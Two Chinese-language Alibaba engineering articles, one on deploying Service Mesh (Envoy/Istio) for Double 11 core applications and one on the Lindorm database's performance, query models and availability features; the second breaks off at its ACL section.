        阿里巴巴 Service Mesh 落地的架构与挑战 Fri, 02 May 2025 09:39:04 +0800 点击下载《不一样的 双11 技术:阿里巴巴经济体云原生实践》
        ban.jpg
        本文节选自《不一样的 双11 技术:阿里巴巴经济体云原生实践》一书,点击上方图片即可下载!

        作者 | 方克明(溪翁)阿里云中间件技术部技术专家

        导读:云原生已成为整个阿里巴巴经济体构建面向未来的技术基础设施,Service Mesh 作为云原生的关键技术之一,顺利完成在 双11 核心应用严苛而复杂场景下的落地验证。本文作者将与大家分享在完成这一目标过程中我们所面临和克服的挑战。

        部署架构

        切入主题前,需要交代一下在 双11 核心应用上落地的部署架构,如下图所示。在这篇文章中,我们主要聚焦于 Service A 和 Service B 之间 RPC 协议的 Mesh 化。

        1.png

        图中示例说明了 Service Mesh 所包含的三大平面:即数据平面(Data Plane)、控制平面(Control Plane)和运维平面(Operation Plane)。数据平面我们采用的是开源的 Envoy(上图中的 Sidecar,请读者注意这两个词在本文中可以互换使用),控制平面采用的是开源的 Istio(目前只使用了其中的 Pilot 组件),运维平面则完全自研。

        与半年前落地时不同,这次 双11 核心应用上落地我们采用了 Pilot 集群化部署的模式,即 Pilot 不再与 Envoy 一起部署到业务容器中,而是搭建了一个独立的集群。这一变化使得控制平面的部署方式演进到了 Service Mesh 应有的终态。

        挑战

        落地所选择的 双11 核心应用都是采用 Java 编程语言实现的,在落地的过程中我们面临了以下挑战。

        1. 在 SDK 无法升级的情形下如何实现应用的 Mesh 化

        在决定要在 双11 的核心应用上落地 Mesh 时,Java 应用依赖的 RPC SDK 版本已经定稿,为了 Mesh 化完全没有时间去开发一个适用于 Mesh 的 RPC SDK 并做升级。那时,摆在团队面前的技术问题是:如何在不升级 SDK 的情形下,实现 RPC 协议的 Mesh 化?

        熟悉 Istio 的读者想必清楚,Istio 是通过 iptables 的 NAT 表去做流量透明拦截的,通过流量透明拦截可在应用无感的情形下将流量劫持到 Envoy 中从而实现 Mesh 化。但很不幸,NAT 表所使用到的 nf_contrack 内核模块因为效率很低,在阿里巴巴的线上生产机器中被去除了,因此无法直接使用社区的方案。好在年初开始不久我们与阿里巴巴 OS 团队达成了合作共建,由他们负责承担 Service Mesh 所需的流量透明拦截和网络加速这两块基础能力的建设。经过两个团队的紧密合作,OS 团队探索了通过基于 userid 和 mark 标识流量的透明拦截方案,基于 iptables 的 mangle 表实现了一个全新的透明拦截组件。

        下图示例说明了存在透明拦截组件的情形下,RPC 服务调用的流量走向。其中,Inbound 流量是指调进来的流量(流量的接受者是 Provider 角色),而 Outbound 是指调出去的流量(流量的发出者是 Consumer 角色)。通常一个应用会同时承担两个角色,所以有 Inbound 和 Outbound 两股流量并存。

        2.png

        有了透明拦截组件之后,应用的 Mesh 化完全能做到无感,这将极大地改善 Mesh 落地的便利性。当然,由于 RPC 的 SDK 仍存在以前的服务发现和路由逻辑,而该流量被劫持到 Envoy 之后又会再做一次,这将导致 Outbound 的流量会因为存在两次服务发现和路由而增加 RT,这在后面的数据部分也将有所体现。显然,以终态落地 Service Mesh 时,需要去除 RPC SDK 中的服务发现与路由逻辑,将相应的 CPU 和内存开销给节约下来。

        2.短时间内支持电商业务复杂的服务治理功能

        路由

        在阿里巴巴电商业务场景下的路由特性丰富多样,除了要支持单元化、环境隔离等路由策略,还得根据 RPC 请求的方法名、调用参数、应用名等完成服务路由。阿里巴巴内部的 Java RPC 框架是通过嵌入 Groovy 脚本来支持这些路由策略的,业务方在运维控制台上配置 Groovy 路由模板,SDK 发起调用时会执行该脚本完成路由策略的运用。

        未来的 Service Mesh 并不打算提供 Groovy 脚本那么灵活的路由策略定制方案,避免因为过于灵活而给 Service Mesh 自身的演进带去掣肘。因此,我们决定借 Mesh 化的机会去除 Groovy 脚本。通过落地应用所使用 Groovy 脚本的场景分析,我们抽象出了一套符合云原生的解决方案:扩展 Istio 原生的 CRD 中的 VirtualService 和 DestinationRule,增加 RPC 协议所需的路由配置段去表达路由策略。

        3.png

        目前阿里巴巴环境下的单元化、环境隔离等策略都是在 Istio/Envoy 的标准路由模块内做了定制开发,不可避免地存在一些 hack 逻辑。未来计划在 Istio/Envoy 的标准路由策略之外,设计一套基于 Wasm 的路由插件方案,让那些简单的路由策略以插件的形式存在。如此一来,既减少了对标准路由模块的侵入,也在一定程度上满足了业务方对服务路由定制的需要。设想的架构如下图所示:

        4.png

        限流

        出于性能考虑,阿里巴巴内部落地的 Service Mesh 方案并没有采用 Istio 中的 Mixer 组件,限流这块功能借助阿里巴巴内部广泛使用的 Sentinel 组件来实现,不仅可以与已经开源的 Sentinel 形成合力,还可以减少阿里巴巴内部用户的迁移成本(直接兼容业务的现有配置来限流)。为了方便 Mesh 集成,内部多个团队合作开发了 Sentinel 的 C++版本,整个限流的功能是通过 Envoy 的 Filter 机制来实现的,我们在 Dubbo 协议之上构建了相应的 Filter(Envoy 中的术语,代表处理请求的一个独立功能模块),每个请求都会经过 Sentinel Filter 做处理。限流所需的配置信息则是通过 Pilot 从 Nacos 中获取,并通过 xDS 协议下发到 Envoy 中。

        5.png

        3. Envoy 的资源开销过大

        Envoy 诞生之初要解决的一个核心问题就是服务的可观测性,因此 Envoy 一开始就内置了大量的 stats(即统计信息),以便更好地对服务进行观测。

        Envoy 的 stats 粒度很细,甚至细到整个集群的 IP 级别,在阿里巴巴环境下,某些电商应用的 Consumer 和 Provider 服务加起来达到了几十万之多的 IP(每个 IP 在不同的服务下携带的元信息不同,所以不同的服务下的相同 IP 是各自独立的)。如此一来,Envoy 在这块的内存开销甚是巨大。为此,我们给 Envoy 增加了 stats 开关,用于关闭或打开 IP 级别的 stats,关闭 IP 级别的 stats 直接带来了内存节约 30% 成果。下一步我们将跟进社区的 stats symbol table 的方案来解决 stats 指标字符串重复的问题,那时的内存开销将进一步减少。

        4. 解耦业务与基础设施,实现基础设施升级对业务无感

        Service Mesh 落地的一项核心价值就是让基础设施与业务逻辑完全解耦,两者可以独立演进。为了实现这个核心价值,Sidecar 需要具备热升级能力,以便升级时不会造成业务流量中断,这对方案设计和技术实现的挑战还是蛮大的。

        我们的热升级采用双进程方案,先拉起新的 Sidecar 容器,由它与旧的 Sidecar 进行运行时数据交接,在新的 Sidecar 准备发接管流量后,让旧的 Sidecar 等待一定时间后退出,最终实现业务流量无损。核心技术主要是运用了 Unix Domain Socket 和 RPC 的节点优雅下线功能。下图大致示例了关键过程。

        6.png

        数据表现

        公布性能数据一不小心就会引发争议和误解,因为性能数据的场景存在很多变量。比如,并发度、QPS、payload 大小等对最终的数据表现将产生关键影响。也正因如此,Envoy 官方从来没有提供过本文所列出的这些数据,背后的原因正是其作者 Matt Klein 担心引发误解。值得强调的是,在时间非常紧迫的情形下,我们所落地的 Service Mesh 并非处于最优状态,甚至不是最终方案(比如 Consumer 侧存在两次路由的问题)。我们之所以选择分享出来,是希望让更多的同行了解我们的进展和状态。

        本文只列出了 双11 所上线核心应用中某一个的数据。从单机 RT 抽样的角度,部署了 Service Mesh 的某台机器,其 Provider 侧的 RT 均值是 5.6ms,Consumer 侧的是 10.36ms。该机器在 双11 零点附近的 RT 表现如下图所示:

        7.jpeg

        没有部署 Service Mesh 的某台机器,Provider 侧的均值为 5.34ms,Consumer 侧的则是 9.31ms。下图示例了该机器在 双11 零点附件的 RT 表现。

        8.jpeg

        相比之下,Provider 侧的 RT 在 Mesh 化前后增加了 0.26ms,Consumer 侧则增加了 1.05ms。注意,这个 RT 差是包含了业务应用到 Sidecar,以及 Sidecar 处理的所有时间在内的,下图示例说明了带来时延增加的链路。

        9.png

        整体上,该核心应用所有上线了 Service Mesh 的机器和没有上线 Service Mesh 的机器在某个时间段的整体均值数据做了对比。Provider 侧 Mesh 化后的 RT 增加了 0.52ms,而 Consumer 侧增加了 1.63ms。

        在 CPU 和内存开销方面,Mesh 化之后,Envoy 所消耗的 CPU 在所有核心应用上都维持在 0.1 核左右,会随着 Pilot 推送数据而产生毛刺。未来需要借助 Pilot 和 Envoy 之间的增量推送去对毛刺做优化。内存的开销随着应用的服务和集群规模不同而存在巨大差异,目前看来 Envoy 在内存的使用上仍存在很大的优化空间。

        从所有双11 上线的核心应用的数据表现来看,Service Mesh 的引入对于 RT 的影响和带来的 CPU 开销是基本一样的,而内存开销则因为依赖服务和集群规模的不同而有相当大的差异。

        展望

        在云原生的浪潮下,阿里巴巴借这波技术浪潮致力于打造面向未来的技术基础设施。在发展的道路上将贯彻“借力开源,反哺开源”的发展思路,通过开源实现技术普惠,为未来的云原生技术在更大范围的普及做出自己的贡献。

        接下来,我们的整体技术着力点在于:

        • 与 Istio 开源社区共同增强 Pilot 的数据推送能力。在阿里巴巴具备 双11 这种超大规模的应用场景下,我们对于Pilot 的数据推送能力有着极致的要求,相信在追求极致的过程中,能与开源社区一道加速全球事实标准的共建。从阿里巴巴内部来看,我们目前拉通了与 Nacos 团队的共建,将通过社区的 MCP 协议与 Nacos 对接,让阿里巴巴所开源的各种技术组件能体系化地协同工作;
        • 以 Istio 和 Envoy 为一体,进一步优化两者的协议以及各自的管理数据结构,通过更加精炼、更加合理的数据结构去减少各自的内存开销;
        • 着力解决大规模 Sidecar 的运维能力建设。让 Sidecar 的升级做到可灰度、可监控和可回滚;
        • 兑现 Service Mesh 的价值,让业务与技术设施能以更高的效率彼此独立演进。

        ban.jpg

        本书亮点

        • 双11 超大规模 K8s 集群实践中,遇到的问题及解决方法详述
        • 云原生化最佳组合:Kubernetes+容器+神龙,实现核心系统 100% 上云的技术细节
        • 双 11 Service Mesh 超大规模落地解决方案

        阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        每秒7亿次请求,阿里新一代数据库如何支撑? Fri, 02 May 2025 09:39:04 +0800 作者 | 正研

        2019年以来,Lindorm已经服务了包括淘宝、天猫、蚂蚁、菜鸟、妈妈、优酷、高德、大文娱等数十个BU,在今年的双十一中,Lindorm峰值请求达到了7.5亿次每秒,天吞吐22.9万亿次,平均响应时间低于3ms,整体存储的数据量达到了数百PB。

        这些数字的背后,凝聚了HBase&Lindorm团队多年以来的汗水和心血。Lindorm脱胎于HBase,是团队多年以来承载数百PB数据,亿级请求量,上千个业务后,在面对规模成本压力,以及HBase自身缺陷下,全面重构和引擎升级的全新产品。相比HBase,Lindorm无论是性能,功能还是可用性上,都有了巨大飞跃。本文将从功能、可用性、性能成本、服务生态等维度介绍Lindorm的核心能力与业务表现,最后分享部分我们正在进行中的一些项目。

        极致优化,超强性能

        Lindorm比HBase在RPC、内存管理,缓存、日志写入等方面做了深度的优化,引入了众多新技术,大幅提升了读写性能,在相同硬件的情况下,吞吐可达到HBase的5倍以上,毛刺更是可以达到HBase的1/10。这些性能数据,并不是在实验室条件下产生的,而是在不改动任何参数的前提下,使用开源测试工具YCSB跑出来的成绩。我们把测试的工具和场景都公布在阿里云的帮助文件中,任何人都可以依照指南自己跑出一样的结果。

        1202.jpg

        取得这么优异的性能的背后,是Lindorm中积攒多年的“黑科技”,下面,我们简单介绍下Lindorm内核中使用到的部分“黑科技”。

        Trie Index

        Lindorm 的文件LDFile(类似HBase中的HFile)是只读 B+ 树结构,其中文件索引是至关重要的数据结构。在 block cache 中有高优先级,需要尽量常驻内存。如果能降低文件索引所占空间大小,我们可以节省 block cache 中索引所需要的宝贵内存空间。或者在索引空间不变的情况下,增加索引密度,降低 data block 的大小,从而提高性能。而HBase中的索引block中存的是全量的Rowkey,而在一个已经排序好的文件中,很多Rowkey都是有共同前缀的。

        数据结构中的Trie (前缀树) 结构能够让共同前缀只存一份,避免重复存储带来的浪费。但是传统前缀树结构中,从一个节点到下一个节点的指针占用空间太多,整体而言得不偿失。这一情况有望用 Succinct Prefix Tree 来解决。SIGMOD2018年的最佳论文 Surf 中提出了一种用 Succinct Prefix Tree 来取代 bloom filter,并同时提供 range filtering 的功能。我们从这篇文章得到启发,用 Succinct Trie 来做 file block index。

        1203.jpg

        我们在线上的多个业务中使用了Trie index实现的索引结构。结果发现,各个场景中,Trie index可以大大缩小索引的体积,最多可以压缩12倍的索引空间!节省的这些宝贵空间让内存Cache中能够存放更多的索引和数据文件,大大提高了请求的性能。

        1204.jpg

        ZGC加持,百GB堆平均5ms暂停

        ZGC(Powerd by Dragonwell JDK)是下一代Pauseless GC算法的代表之一,其核心思想是Mutator利用内存读屏障(Read Barrier)识别指针变化,使得大部分的标记(Mark)与合并(Relocate)工作可以放在并发阶段执行。

        这样一项实验性技术,在Lindorm团队与AJDK团队的紧密合作下,进行了大量的改进与改造工作。使得ZGC在Lindorm这个场景上实现了生产级可用,主要工作包括:

        Lindorm内存自管理技术,数量级减少对象数与内存分配速率。(比如说阿里HBase团队贡献给社区的CCSMap)。
        AJDK ZGC Page缓存机制优化(锁、Page缓存策略)。
        AJDK ZGC 触发时机优化,ZGC无并发失败。AJDK ZGC在Lindorm上稳定运行两个月,并顺利通过双十一大考。其JVM暂停时间稳定在5ms左右,最大暂停时间不超过8ms。ZGC大大改善了线上运行集群的RT与毛刺指标,平均RT优化15%~20%,P999 RT减少一倍。在今年双十一蚂蚁风控集群中,在ZGC的加持下,P999时间从12ms降低到了5ms。

        1205.jpg

        注:图中的单位应该为us,平均GC在5ms

        LindormBlockingQueue

        1206.jpg

        上图是HBase中的RegionServer从网络上读取RPC请求并分发到各个Handler上执行的流程。HBase中的RPC Reader从Socket上读取RPC请求放入BlockingQueue,Handler订阅这个Queue并执行请求。而这个BlockingQueue,HBase使用的是Java原生的JDK自带的LinkedBlockingQueue。

        LinkedBlockingQueue利用Lock与Condition保证线程安全与线程之间的同步,虽然经典易懂,但当吞吐增大时,这个queue会造成严重的性能瓶颈。因此在Lindorm中全新设计了LindormBlockingQueue,将元素维护在Slot数组中。维护head与tail指针,通过CAS操作对进队列进行读写操作,消除了临界区。并使用Cache Line Padding与脏读缓存加速,同时可定制多种等待策略(Spin/Yield/Block),避免队列为空或为满时,频繁进入Park状态。LindormBlockingQueue的性能非常突出,相比于原先的LinkedBlockingQueue性能提升4倍以上。

        1207.jpg

        VersionBasedSynchronizer

        1208.jpg

        LDLog是Lindorm中用于系统failover时进行数据恢复时的日志,以保障数据的原子性和可靠性。在每次数据写入时,都必须先写入LDLog。LDLog写入成功之后,才可以进行后续的写入memstore等操作。因此Lindorm中的Handler都必须等待WAL写入完成后再被唤醒以进行下一步操作,在高压条件下,无用唤醒会造成大量的CPU Context Switch造成性能下降。针对这个问题,Lindorm研发了基于版本的高并发多路线程同步机制(VersionBasedSynchronizer)来大幅优化上下文切换。

        VersionBasedSynchronizer的主要思路是让Handler的等待条件被Notifier感知,减少Notifier的唤醒压力。经过模块测试VersionBasedSynchronizer的效率是JDK自带的ObjectMonitor和J.U.C(java util concurrent包)的两倍以上。

        1209.jpg

        全面无锁化

        HBase内核在关键路径上有大量的锁,在高并发场景下,这些锁都会造成线程争抢和性能下降。Lindorm内核对关键链路上的锁都做了无锁化处理,如MVCC,WAL模块中的锁。另外,HBase在运行过程中会产生的各种指标,如qps,rt,cache命中率等等。而在记录这些Metrics的“不起眼”操作中,也会有大量的锁。面对这样的问题,Lindorm借鉴了tcmalloc的思想,开发了LindormThreadCacheCounter,来解决Metrics的性能问题。

        1210.jpg

        Handler协程化

        在高并发应用中,一个RPC请求的实现往往包含多个子模块,涉及到若干次IO。这些子模块的相互协作,系统的ContextSwitch相当频繁。ContextSwitch的优化是高并发系统绕不开的话题,各位高手都各显神通,业界有非常多的思想与实践。其中coroutine(协程)和SEDA(分阶段事件驱动)方案是我们着重考察的方案。基于工程代价,可维护性,代码可读性三个角度考虑,Lindorm选择了协程的方式进行异步化优化。我们利用了阿里JVM团队提供的Dragonwell JDK内置的Wisp2.0功能实现了HBase Handler的协程化,Wisp2.0开箱即用,有效地减少了系统的资源消耗,优化效果比较客观。

        全新Encoding算法

        从性能角度考虑,HBase通常需要将Meta信息装载进block cache。如果将block大小较小,Meta信息较多,会出现Meta无法完全装入Cache的情况, 性能下降。如果block大小较大,经过Encoding的block的顺序查询的性能会成为随机读的性能瓶颈。针对这一情况,Lindorm全新开发了Indexable Delta Encoding,在block内部也可以通过索引进行快速查询,seek性能有了较大提高。Indexable Delta Encoding原理如图所示:

        1211.jpg

        通过Indexable Delta Encoding, HFile的随机seek性能相对于使用之前翻了一倍,以64K block为例,随机seek性能基本与不做encoding相近(其他encoding算法会有一定性能损失)。在全cache命中的随机Get场景下,相对于Diff encoding RT下降50%

        其他

        相比社区版HBase,Lindorm还有多达几十项的性能优化和重构,引入了众多新技术,由于篇幅有限,这里只能列举一部分,其他的核心技术,比如:

        CCSMap
        自动规避故障节点的并发三副本日志协议 (Quorum-based write)
        高效的批量组提交(Group Commit)
        无碎片的高性能缓存—Shared BucketCache
        Memstore Bloomfilter
        面向读写的高效数据结构
        GC-Invisible内存管理
        在线计算与离线作业架构分离
        JDK/操作系统深度优化
        FPGA offloading Compaction
        用户态TCP加速
        ……

        丰富的查询模型,降低开发门槛

        原生的HBase只支持KV结构的查询,虽然简单,但是在面对各项业务的复杂需求时,显的有点力不从心。因此,在Lindorm中,我们针对不同业务的特点,研发了多种查询模型,通过更靠近场景的API和索引设计,降低开发门槛。

        WideColumn 模型(原生HBase API)

        WideColumn是一种与HBase完全一致的访问模型和数据结构,从而使得Lindrom能100%兼容HBase的API。用户可以通过Lindorm提供的高性能原生客户端中的WideColumn API访问Lindorm,也可以通过alihbase-connector这个插件,使用HBase客户端及API(无需任何代码改造)直接访问Lindorm。同时,Lindorm使用了轻客户端的设计,将大量数据路由、批量分发、超时、重试等逻辑下沉到服务端,并在网络传输层做了大量的优化,使得应用端的CPU消耗可以大大节省。像下表中,相比于HBase,使用Lindorm后的应用侧CPU使用效率提升60%,网络带宽效率提升25%。

        1212.jpg

        注:表中的客户端CPU代表HBase/Lindorm客户端消耗的CPU资源,越小越好。

        在HBase原生API上,我们还独家支持了高性能二级索引,用户可以使用HBase原生API写入数据过程中,索引数据透明地写入索引表。在查询过程中,把可能全表扫的Scan + Filter大查询,变成可以先去查询索引表,大大提高了查询性能。关于高性能原生二级索引,大家可以参考:
        https://help.aliyun.com/document_detail/144577.html

        TableService模型(SQL、二级索引)

        HBase中只支持Rowkey这一种索引方式,对于多字段查询时,通常效率低下。为此,用户需要维护多个表来满足不同场景的查询需求,这在一定程度上既增加了应用的开发复杂性,也不能很完美地保证数据一致性和写入效率。并且HBase中只提供了KV API,只能做Put、Get、Scan等简单API操作,也没有数据类型,所有的数据都必须用户自己转换和储存。对于习惯了SQL语言的开发者来说,入门的门槛非常高,而且容易出错。

        为了解决这一痛点,降低用户使用门槛,提高开发效率,在Lindorm中我们增加了TableService模型,其提供丰富的数据类型、结构化查询表达API,并原生支持SQL访问和全局二级索引,解决了众多的技术挑战,大幅降低普通用户的开发门槛。通过SQL和SQL like的API,用户可以方便地像使用关系数据库那样使用Lindorm。下面是一个Lindorm SQL的简单示例。

        -- 主表和索引DDL
        create table shop_item_relation (
            shop_id varchar,
            item_id varchar,
            status varchar
        constraint primary key(shop_id, item_id)) ;
        create index idx1 on shop_item_relation (item_id) include (ALL);   -- 对第二列主键建索引,冗余所有列
        create index idx2 on shop_item_relation (shop_id, status) include (ALL);  -- 多列索引,冗余所有列
        -- 写入数据,会同步更新2个索引
        upsert into shop_item_relation values('shop1', 'item1',  'active');
        upsert into shop_item_relation values('shop1', 'item2',  'invalid');
        -- 根据WHERE子句自动选择合适的索引执行查询
        select * from shop_item_relation where item_id = 'item2';  -- 命中idx1
        select * from shop_item_relation where shop_id = 'shop1' and status = 'invalid'; -- 命中idx2
        

        相比于关系数据库的SQL,Lindorm不具备多行事务和复杂分析(如Join、Groupby)的能力,这也是两者之间的定位差异。

        相比于HBase上Phoenix组件提供的二级索引,Lindorm的二级索引在功能、性能、稳定性上远远超过Phoenix,下图是一个简单的性能对比。

        1214.jpg

        1215.jpg

        注:该模型已经在阿里云HBase增强版上内测,感兴趣的用户可以联系云HBase答疑钉钉号或者在阿里云上发起工单咨询。

        FeedStream模型

        现代互联网架构中,消息队列承担了非常重要的职责,可以极大的提升核心系统的性能和稳定性。其典型的应用场景有包括系统解耦,削峰限流,日志采集,最终一致保证,分发推送等等。

        常见的消息队列包括RabbitMq,Kafka以及RocketMq等等。这些数据库尽管从架构和使用方式和性能上略有不同,但其基本使用场景都相对接近。然而,传统的消息队列并非完美,其在消息推送,feed流等场景存在以下问题:

        存储:不适合长期保存数据,通常过期时间都在天级
        删除能力:不支持删除指定数据entry
        查询能力:不支持较为复杂的查询和过滤条件
        一致性和性能难以同时保证:类似于Kafka之类的数据库更重吞吐,为了提高性能存在了某些状况下丢数据的可能,而事务处理能力较好的消息队列吞吐又较为受限。
        Partition快速拓展能力:通常一个Topc下的partition数目都是固定,不支持快速扩展。
        物理队列/逻辑队列:通常只支持少量物理队列(如每个partition可以看成一个队列),而业务需要的在物理队列的基础上模拟出逻辑队列,如IM系统中为每个用户维护一个逻辑上的消息队列,用户往往需要很多额外的开发工作。
        针对上述需求,Lindorm推出了队列模型FeedStreamService,能够解决海量用户下的消息同步,设备通知,自增ID分配等问题。

        1216.jpg

        FeedStream模型在今年手机淘宝消息系统中扮演了重要角色,解决了手机淘宝消息推送保序,幂等等难题。在今年双十一中,手淘的盖楼和回血大红包推送都有Lindorm的身影。手淘消息的推送中,峰值超过了100w/s,做到了分钟级推送全网用户。

        1217.jpg

        注:该模型已经在阿里云HBase增强版上内测,感兴趣的用户可以联系云HBase答疑钉钉号或者在阿里云上发起工单咨询。

        全文索引模型

        虽然Lindorm中的TableService模型提供了数据类型和二级索引。但是,在面对各种复杂条件查询和全文索引的需求下,还是显得力不从心,而Solr和ES是优秀的全文搜索引擎。使用Lindorm+Solr/ES,可以最大限度发挥Lindorm和Solr/ES各自的优点,从而使得我们可以构建复杂的大数据存储和检索服务。Lindorm内置了外部索引同步组件,能够自动地将写入Lindorm的数据同步到外部索引组件如Solr或者ES中。这种模型非常适合需要保存大量数据,而查询条件的字段数据仅占原数据的一小部分,并且需要各种条件组合查询的业务,例如:

        常见物流业务场景,需要存储大量轨迹物流信息,并需根据多个字段任意组合查询条件
        交通监控业务场景,保存大量过车记录,同时会根据车辆信息任意条件组合检索出感兴趣的记录
        各种网站会员、商品信息检索场景,一般保存大量的商品/会员信息,并需要根据少量条件进行复杂且任意的查询,以满足网站用户任意搜索需求等。

        1218.jpg

        全文索引模型已经在阿里云上线,支持Solr/ES外部索引。目前,索引的查询用户还需要直接查询Solr/ES再来反查Lindorm,后续我们会用TableService的语法把查询外部索引的过程包装起来,用户全程只需要和Lindorm交互,即可获得全文索引的能力。

        更多模型在路上

        除了上述这些模型,我们还会根据业务的需求和痛点,开发更多简单易用的模型,方便用户使用,降低使用门槛。像时序模型,图模型等,都已经在路上,敬请期待。

        零干预、秒恢复的高可用能力

        从一个婴儿成长为青年,阿里HBase摔过很多次,甚至头破血流,我们在客户的信任之下幸运的成长。在9年的阿里应用过程中,我们积累了大量的高可用技术,而这些技术,都应用到了HBase增强版中。

        MTTR优化

        HBase是参照Gooogle著名论文BigTable的开源实现,其中最核心特点是数据持久化存储于底层的分布式文件系统HDFS,通过HDFS对数据的多副本维护来保障整个系统的高可靠性,而HBase自身不需要去关心数据的多副本及其一致性,这有助于整体工程的简化,但也引入了"服务单点"的缺陷,即对于确定的数据的读写服务只有发生固定的某个节点服务器,这意味着当一个节点宕机后,数据需要通过重放Log恢复内存状态,并且重新派发给新的节点加载后,才能恢复服务。

        当集群规模较大时,HBase单点故障后恢复时间可能会达到10-20分钟,大规模集群宕机的恢复时间可能需要好几个小时!而在Lindorm内核中,我们对MTTR(平均故障恢复时间)做了一系列的优化,包括故障恢复时先上线region、并行replay、减少小文件产生等众多技术。将故障恢复速度提升10倍以上!基本上接近了HBase设计的理论值。

        可调的多一致性

        在原来的HBase架构中,每个region只能在一个RegionServer中上线,如果这个region server宕机,region需要经历Re-assgin,WAL按region切分,WAL数据回放等步骤后,才能恢复读写。这个恢复时间可能需要数分钟,对于某些高要求的业务来说,这是一个无法解决的痛点。另外,虽然HBase中有主备同步,但故障下只能集群粒度的手动切换,并且主和备的数据只能做到最终一致性,而有一些业务只能接受强一致,HBase在这点上望尘莫及。

        Lindorm内部实现了一种基于Shared Log的一致性协议,通过分区多副本机制达到故障下的服务自动快速恢复的能力,完美适配了存储分离的架构, 利用同一套体系即可支持强一致语义,又可以选择在牺牲一致性的前提换取更佳的性能和可用性,实现多活,高可用等多种能力。

        在这套架构下,Lindorm拥有了以下几个一致性级别,用户可以根据自己的业务自由选择一致性级别:

        1219.jpg

        注:该功能暂时未在阿里云HBase增强版上对外开放

        客户端高可用切换

        虽然说目前HBase可以组成主备,但是目前市面上没有一个高效地客户端切换访问方案。HBase的客户端只能访问固定地址的HBase集群。如果主集群发生故障,用户需要停止HBase客户端,修改HBase的配置后重启,才能连接备集群访问。或者用户在业务侧必须设计一套复杂地访问逻辑来实现主备集群的访问。阿里HBase改造了HBase客户端,流量的切换发生在客户端内部,通过高可用的通道将切换命令发送给客户端,客户端会关闭旧的链接,打开与备集群的链接,然后重试请求。

        1220.jpg

        如果需要使用此项功能,请参考高可用帮助文档:
        https://help.aliyun.com/document_detail/140940.html

        云原生,更低使用成本

        Lindorm从立项之初就考虑到上云,各种设计也能尽量复用云上基础设施,为云的环境专门优化。比如在云上,我们除了支持云盘之外,我们还支持将数据存储在OSS这种低成本的对象存储中减少成本。我们还针对ECS部署做了不少优化,适配小内存规格机型,加强部署弹性,一切为了云原生,为了节省客户成本。

        ECS+云盘的极致弹性

        目前Lindorm在云上的版本HBase增强版均采用ECS+云盘部署(部分大客户可能采用本地盘),ECS+云盘部署的形态给Lindorm带来了极致的弹性。

        1221.jpg

        最开始的时候,HBase在集团的部署均采用物理机的形式。每个业务上线前,都必须先规划好机器数量和磁盘大小。在物理机部署下,往往会遇到几个难以解决的问题:

        业务弹性难以满足:当遇到业务突发流量高峰或者异常请求时,很难在短时间内找到新的物理机扩容。
        存储和计算绑定,灵活性差:物理机上CPU和磁盘的比例都是一定的,但是每个业务的特点都不一样,采用一样的物理机,有一些业务计算资源不够,但存储过剩,而有些业务计算资源过剩,而存储瓶颈。特别是在HBase引入混合存储后,HDD和SSD的比例非常难确定,有些高要求的业务常常会把SSD用满而HDD有剩余,而一些海量的离线型业务SSD盘又无法利用上。
        运维压力大:使用物理机时,运维需要时刻注意物理机是否过保,是否有磁盘坏,网卡坏等硬件故障需要处理,物理机的报修是一个漫长的过程,同时需要停机,运维压力巨大。对于HBase这种海量存储业务来说,每天坏几块磁盘是非常正常的事情。而当Lindorm采用了ECS+云盘部署后,这些问题都迎刃而解。

        ECS提供了一个近似无限的资源池。当面对业务的紧急扩容时,我们只需在资源池中申请新的ECS拉起后,即可加入集群,时间在分钟级别之内,无惧业务流量高峰。配合云盘这样的存储计算分离架构。我们可以灵活地为各种业务分配不同的磁盘空间。当空间不够时,可以直接在线扩缩容磁盘。同时,运维再也不用考虑硬件故障,当ECS有故障时,ECS可以在另外一台宿主机上拉起,而云盘完全对上层屏蔽了坏盘的处理。极致的弹性同样带来了成本的优化。我们不需要为业务预留太多的资源,同时当业务的大促结束后,能够快速地缩容降低成本。

        1222.jpg

        一体化冷热分离

        在海量大数据场景下,一张表中的部分业务数据随着时间的推移仅作为归档数据或者访问频率很低,同时这部分历史数据体量非常大,比如订单数据或者监控数据,降低这部分数据的存储成本将会极大的节省企业的成本。如何以极简的运维配置成本就能为企业极大降低存储成本,Lindorm冷热分离功能应运而生。Lindorm为冷数据提供新的存储介质,新的存储介质存储成本仅为高效云盘的1/3。

        Lindorm在同一张表里实现了数据的冷热分离,系统会自动根据用户设置的冷热分界线自动将表中的冷数据归档到冷存储中。在用户的访问方式上和普通表几乎没有任何差异,在查询的过程中,用户只需配置查询Hint或者TimeRange,系统根据条件自动地判断查询应该落在热数据区还是冷数据区。对用户而言始终是一张表,对用户几乎做到完全的透明。详细介绍请参考:
        https://yq.aliyun.com/articles/718395

        1223.jpg

        ZSTD-V2,压缩比再提升100%

        早在两年前,我们就把集团内的存储压缩算法替换成了ZSTD,相比原来的SNAPPY算法,获得了额外25%的压缩收益。今年我们对此进一步优化,开发实现了新的ZSTD-v2算法,其对于小块数据的压缩,提出了使用预先采样数据进行训练字典,然后用字典进行加速的方法。我们利用了这一新的功能,在Lindorm构建LDFile的时候,先对数据进行采样训练,构建字典,然后在进行压缩。在不同业务的数据测试中,我们最高获得了超过原生ZSTD算法100%的压缩比,这意味着我们可以为客户再节省50%的存储费用。

        1224.jpg

        HBase Serverless版,入门首选

        阿里云HBase Serverless 版是基于Lindorm内核,使用Serverless架构构建的一套新型的HBase 服务。阿里云HBase Serverless版真正把HBase变成了一个服务,用户无需提前规划资源,选择CPU,内存资源数量,购买集群。在应对业务高峰,业务空间增长时,也无需进行扩容等复杂运维操作,在业务低谷时,也无需浪费闲置资源。

        在使用过程中,用户可以完全根据当前业务量,按需购买请求量和空间资源即可。使用阿里云HBase Serverless版本,用户就好像在使用一个无限资源的HBase集群,随时满足业务流量突然的变化,而同时只需要支付自己真正使用的那一部分资源的钱。

        1225.jpg

        关于HBase Serverless的介绍和使用,可以参考:
        https://developer.aliyun.com/article/719206

        面向大客户的安全和多租户能力

        Lindorm引擎内置了完整的用户名密码体系,提供多种级别的权限控制,并对每一次请求鉴权,防止未授权的数据访问,确保用户数据的访问安全。同时,针对企业级大客户的诉求,Lindorm内置了Group,Quota限制等多租户隔离功能,保证企业中各个业务在使用同一个HBase集群时不会被相互影响,安全高效地共享同一个大数据平台。

        用户和ACL体系

